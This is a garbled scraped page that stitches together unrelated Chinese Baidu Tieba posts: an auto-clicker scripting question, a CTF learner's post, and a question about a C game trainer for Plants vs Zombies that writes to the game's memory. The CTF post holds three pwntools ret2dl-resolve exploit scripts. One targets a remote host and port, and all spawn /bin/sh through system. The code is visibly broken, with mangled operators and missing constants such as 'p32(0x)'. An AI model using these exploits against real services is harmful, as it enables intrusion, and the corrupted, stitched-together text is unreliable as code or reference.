有没有懂RET项目的大佬分析下RET的运行手机cf爆破模式怎么玩?

大佬们FindPicEx返回多图坐标,若没找到A图坐标,则点击B图的坐_按键精灵吧_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:404,668贴子:
大佬们FindPicEx返回多图坐标,若没找到A图坐标,则点击B图的坐收藏
dm_ret = dm.FindPicEx(0, 0, , &data.bmp|jiaotu.bmp|jiaru.bmp|zhunbei.bmp|chazhao.bmp|yincang.bmp&, &020202&, 0.9, 0)TracePrint &dm_ret==& & dm_retIf len(dm_ret) & 0 Then
ss = split(dm_ret, &|&)
count = UBound(ss) + 1
TracePrint &count=&&count
Do While index & count
sss = split(ss(index), &,&)
id = int(sss(0))
x = int(sss(1))
y = int(sss(2))
index = index + 1
TracePrint &index=& & index
在这里我想写如果没返回ID3这个图那就点击ID5返回的坐标,怎么写
新朗页游助手支持海量页游,页游辅助完美支持小号多开,微端多平台登陆.精品页游辅助工具,自动日常,自动副本,一键操作,玩页游更省时!
来大佬,自挽
登录百度帐号见到了swing大佬,贼帅-。-
认识了angr的contributor !
装回了旧版的angr以前的example终于都能用了
不过今天讲的好像都蛮抽象的,fal-fuzz 到底咋用??
今儿纠结 dl-resolve了一天,明明构造的很好了,就是报错,不得其解。然后对照着exp试着把偏移加大..还就没问题了。。got表在IDA中看明明是可读写的撒??gdb调源码这个操作得学一学。
手算了一遍偏移,然后根据肖师傅的推荐用了ropuntils
下面三个demo其中第一个是错的,第三个用工具真的很简洁。。感觉世界真奇妙。
from pwn import*
import roputils
def attack_remote_demo1():
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'info'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = process('./main32')
elf=ELF('./main32')
read_plt=elf.plt['read']
puts_got=elf.got['puts']
plt_0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt= elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym= elf.get_section_by_name('.dynsym').header.sh_addr
dynstr= elf.get_section_by_name('.dynstr').header.sh_addr
bss_addr = elf.get_section_by_name('.bss').header.sh_addr
log.info('plt_0 addr ==& 0x%x' % plt_0)
log.info('rel_plt addr ==& 0x%x' % rel_plt)
log.info('dynsym addr ==& 0x%x' % dynsym)
log.info('dynstr addr ==& 0x%x' % dynstr)
log.info('bss_addr addr ==& 0x%x' % bss_addr)
raw_input("go?")
base_addr=0x804a080
fake_sym_addr=base_addr+36
align=0x10-((fake_sym_addr-dynsym) & 0xf)
fake_sym_addr=fake_sym_addr+align
r_sym = (fake_sym_addr - dynsym)/0x10
r_info=((r_sym)&&8)+(0x7&0xff)
st_name = fake_sym_addr+0x10-dynstr
st_bind=0x1
st_type=0x2
st_info=(st_bind&&4)+(st_type&0xf)
payload=p32(plt_0)+p32(base_addr+ 24- rel_plt)+p32(0)+p32(base_addr+80)+p32(0)*2+p32(puts_got)+p32(r_info)+'a'*align+p32(0)
payload+=p32(st_name)+p32(0)+p32(0)+p32(0x12)+'system\x00\x00'
payload+='a'*(80-len(payload))+'/bin/sh\x00\x00'
payload+='a'*(100-len(payload))
conn.sendline(payload)
payload="b"*0x12+p32(0x0804852D)+p32(0x)+p32(base_addr-4)+p32(0x)
conn.sendline(payload)
conn.interactive()
def attack_remote_demo2():
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'info'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = remote('192.168.1.105', 10000)
elf=ELF('./main32')
read_plt=elf.plt['read']
puts_got=elf.got['puts']
plt_0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt= elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym= elf.get_section_by_name('.dynsym').header.sh_addr
dynstr= elf.get_section_by_name('.dynstr').header.sh_addr
bss_addr = elf.get_section_by_name('.bss').header.sh_addr
log.info('plt_0 addr ==& 0x%x' % plt_0)
log.info('rel_plt addr ==& 0x%x' % rel_plt)
log.info('dynsym addr ==& 0x%x' % dynsym)
log.info('dynstr addr ==& 0x%x' % dynstr)
log.info('bss_addr addr ==& 0x%x' % bss_addr)
raw_input("go?")
base_addr=0x804a040+0x800
fake_sym_addr=base_addr+4
align=0x10-((fake_sym_addr-dynsym) & 0xf)
fake_sym_addr=fake_sym_addr+align
r_sym = (fake_sym_addr - dynsym)/0x10
r_info=((r_sym)&&8)+(0x7&0xff)
st_name = fake_sym_addr+0x10-dynstr
st_bind=0x1
st_type=0x2
st_info=(st_bind&&4)+(st_type&0xf)
bin_addr=base_addr+0x24
payload='a'*0x800+p32(puts_got)+p32(r_info)+'a'*4+p32(st_name)+p32(0)*2+p32(0x12)+'system\x00\x00'
payload+='b'*(0x80-len(payload))+'/bin/sh\x00'
conn.sendline(payload)
payload="b"*0x16+p32(plt_0)+p32(base_addr- rel_plt)+p32(0x)+p32(bin_addr)
conn.sendline(payload)
conn.interactive()
def attack_remote_untils():
context(arch='i386', os='linux', endian='little', rename_corefiles=False)
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
conn = process('./main32')
elf=ELF('./main32')
read_plt=elf.plt['read']
puts_got=elf.got['puts']
plt_0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt= elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym= elf.get_section_by_name('.dynsym').header.sh_addr
dynstr= elf.get_section_by_name('.dynstr').header.sh_addr
bss_addr = elf.get_section_by_name('.bss').header.sh_addr
log.info('plt_0 addr ==& 0x%x' % plt_0)
log.info('rel_plt addr ==& 0x%x' % rel_plt)
log.info('dynsym addr ==& 0x%x' % dynsym)
log.info('dynstr addr ==& 0x%x' % dynstr)
log.info('bss_addr addr ==& 0x%x' % bss_addr)
rop = roputils.ROP('./main32')
call = 'a'*0x16+rop.dl_resolve_call(bss_addr+28+0x800, bss_addr+0x54+0x800)
data = 'a'*0x800+rop.dl_resolve_data(bss_addr+0x20+0x800, 'system')+'\x00'+'/bin/sh\x00'
raw_input("go?")
conn.sendline(data)
conn.sendline(call)
conn.interactive()
attack_remote_untils()
过两天写一下64位的。
距离排位赛还有7小时,师傅们轻虐啊。。。才弄懂一个题。
没有更多推荐了,(反鹅选联盟)
(蜘蛛侠爱上你)
第三方登录:被植物大战僵尸折磨了五六个小时的我,请教一下大佬吧还是【c语言吧】_百度贴吧
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&签到排名:今日本吧第个签到,本吧因你更精彩,明天继续来努力!
本吧签到人数:0成为超级会员,使用一键签到本月漏签0次!成为超级会员,赠送8张补签卡连续签到:天&&累计签到:天超级会员单次开通12个月以上,赠送连续签到卡3张
关注:587,323贴子:
被植物大战僵尸折磨了五六个小时的我,请教一下大佬吧还是收藏
代码如下,错误在DWORD ret哪一样,也就是用writeprocessmemory返回值一直是0不知道为什么,代码是照着网上的思路,基址也没错,不知道为什么会这样,有没有大佬复制一下代码运行看看,感激不尽。#include&stdio.h&#include&stdlib.h&#include&Windows.h&HWNDDWORDHANDLE hProcess = 0;void main(){printf(&---------------植物大战僵尸辅助---------------\n&);printf(&a:获取游戏窗口进程,b:修改阳光值,c:退出辅助\n&);while (1){a = getchar();if (a == 'c' || a == 'C'){printf(&已退出辅助\n&);Sleep(200);} if (a == 'A' || a == 'a'){hwnd = FindWindowA(&MainWindow&, &植物大战僵尸中文版&);hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, pid);if (hwnd == NULL){printf(&游戏未运行,请先打开游戏再运行本辅助\n&);}else{printf(&获取游戏窗口句柄成功\n&);}DWORD hProcess = GetWindowThreadProcessId(hwnd, &pid);if (hProcess == 0){printf(&获取游戏进程失败\n&);}else{printf(&获取游戏进程成功,PID为 : %d\n&, hProcess);}}if (a == 'B' || a == 'b'){if (hwnd == 0){printf(&还未获取游戏进程!\n&);}else {DWORD temp,DWORD base = 0x006a9ec0;//静态基址DWORD m_offset1 = 0x768;//一级偏移DWORD m_offset2 = 0x5560;//二级偏移//base-&temp//temp+offset1-&temp//temp=temp+offset2ReadProcessMemory(hProcess, (LPVOID)base, &temp, 4, NULL);ReadProcessMemory(hProcess, (LPVOID)(temp + m_offset1), &temp, 4, NULL);temp += m_offset2;printf(&请输入修改的阳光值为:\n&);scanf_s(&%d&, &sunny);DWORD ret = WriteProcessMemory(hProcess, (LPVOID)temp, &sunny, 4, NULL);if (ret == 0){printf(&修改失败\n&);}else{printf(&修改成功\n&);}}}}return 0;system(&pause&);}
我用断点跟踪得到的ret每次都是0,不知道还有什么办法能跟踪出错误了,求指点
没试过,不过你可以使用GetLastError查询错误原因
登录百度帐号}

我要回帖

更多关于 项目的运行模式 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信